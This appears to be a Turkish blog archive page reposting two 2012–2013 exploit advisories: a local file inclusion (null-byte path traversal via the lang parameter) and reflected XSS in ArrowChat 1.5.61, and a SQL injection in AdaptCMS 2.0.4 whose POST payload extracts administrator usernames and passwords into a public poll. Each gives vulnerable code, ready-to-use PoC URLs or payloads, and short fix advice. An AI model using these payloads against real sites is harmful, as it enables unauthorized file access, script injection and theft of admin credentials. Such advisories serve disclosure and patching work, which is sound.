Archive for 10 Şubat 2013

ArrowChat 1.5.61 Multiple Vulnerabilities

ArrowChat 1.5.61 Multiple Vulnerabilities genel açığı yapınlanmış olup açık hakkında ve açığın oluşum yerleri hakkında code;

# Exploit Title: ArrowChat <=~ 1.5.61  Multiple vulnerabilities
# Date: 01/01/2013
# Exploit Author: Kallimero
# Version: 1.5.61, before, and maybe 1.6
# Tested on: Debian


Introduction
============

ArrowChat is a chat script, which is able to be integrate in various CMS,
as wordpress, or some bulletin boards.


Vulnz
========


1- ) Local File Inclusion


external.php let us load langage, but not a secure way.

---------------[external.php]---------------

// Load another language if lang GET value is set and exists
if (var_check('lang'))
{
    $lang = get_var('lang');

    if (file_exists(dirname(__FILE__) . DIRECTORY_SEPARATOR .
AC_FOLDER_LANGUAGE . DIRECTORY_SEPARATOR . $lang . DIRECTORY_SEPARATOR .
$lang . ".php"))
    {
        include (dirname(__FILE__) . DIRECTORY_SEPARATOR .
AC_FOLDER_LANGUAGE . DIRECTORY_SEPARATOR . $lang . DIRECTORY_SEPARATOR .
$lang . ".php");
    }
}
---------------[index.php]---------------

Thanks to the nullbyte tricks we'll be able to include any php file, like
that :

http://[site]/[path]/external.php?lang=../path/to/file%00&type=djs

2- ) reflected XSS

The administration layout is accessible for anyone. Even if we can't exec
the php code of the admin, we can inject html thanks to $_SERVER['PHP_SELF']


Example :
-------[admin/layout/pages_general.php]-----

<form method="post" action="<?php echo $_SERVER['PHP_SELF']; ?>?do=<?php
echo $do; ?>" enctype="multipart/form-data">
----------------------------------

PoC:
http://
[site]/[path]/admin/layout/pages_general.php/'"/><script>alert(1);</script>


How to Fix ?
============

 To fix the LFI, you can replace it with :
 // Load another language if lang GET value is set and exists

if (var_check('lang'))
{
    $lang = get_var('lang');
    if(preg_match("#^[a-z]{2,5}$#i", $lang)){
        if (file_exists(dirname(__FILE__) . DIRECTORY_SEPARATOR .
AC_FOLDER_LANGUAGE . DIRECTORY_SEPARATOR . $lang . DIRECTORY_SEPARATOR .
$lang . ".php"))
        {
            include (dirname(__FILE__) . DIRECTORY_SEPARATOR .
AC_FOLDER_LANGUAGE . DIRECTORY_SEPARATOR . $lang . DIRECTORY_SEPARATOR .
$lang . ".php");
        }
    }
}

lang will be include only if it's a valid lang file.

For the XSS's, you can use a .htaccess to protect the layout directory, and
use htmlentities to avoid the html inj'.



Thanks
=========

All hwc members : Necromoine, fr0g, AppleSt0rm, St0rn, Zhyar, k3nz0,
gr4ph0s.
Please visit : http://www.orgasm.re/

AdaptCMS 2.0.4 (config.php, question parameter) SQL Injection Vulnerability

AdaptCMS 2.0.4 (config.php, question parameter) SQL Injection SQL injection açığı bulunmuş oluş açık hakkındaki açıklamalar şu şekilde;

# Exploit Title: AdaptCMS <= 2.0.4 SQL Injection vulnerability
# Date: 26/10/2012
# Exploit Author: Kallimero
# Vendor Homepage: http://www.adaptcms.com/
# Software Link: http://www.insanevisions.com/page/3/Downloads/
# Version: 2.0.4
# Tested on: Debian

Introduction
============

As you know, I love fun and tricky SQL injections.
AdaptCMS is vulnerable to a really unusual one.


The vuln
========


First let's see the code :

---------------[config.php]---------------

Line 34 :
array_map('clean', $_POST);

---------------[config.php]---------------

clean() acts like addslashes.

But a couple of lines after:

---------------[config.php]---------------
ligne 111:

    mysql_query("INSERT INTO ".$pre."polls VALUES (null,
'".htmlentities(check($vote[2]))."', '".$vote2."', 'custom_option', '',
'".htmlentities(urldecode($_POST['question']))."', 1, '".time()."')");
---------------[config.php]---------------

w00t an SQL injection. $_POST['question'] is urldecoded after the
superglobal's clean. That's why we can easily inject our SQL request.
(Without ENT_QUOTES, the simple quote pass through htmlentities() ).


The PoC :
=========

Ok, now we have to add a second INSERT query, to insert a custom choice in
the poll, which obviously contain the admin creditentials.
A simple POST http request such as:
article_id=0&poll_id=1&vote=2&custom=1&question=%2527, 1, 1350677660),
(null, 0, (select concat(username, 0x3a, password) from adapt_users),
'option', '', 1, 1337, 1349597648  )-- -

Now check homepage, and enjoy the admin creditentials.

How to Fix ?
============

There is many SQL injections in this CMS ($_SERVER vars are vulnerables as
well), and others funkies vulnz.
changing your cms seems appropriate until they fix thoses issues.

Thanks
=========
All hwc members : Necromoine, fr0g, AppleSt0rm, St0rn, Zhyar, k3nz0,
gr4ph0s.
Please visit : http://www.orgasm.re/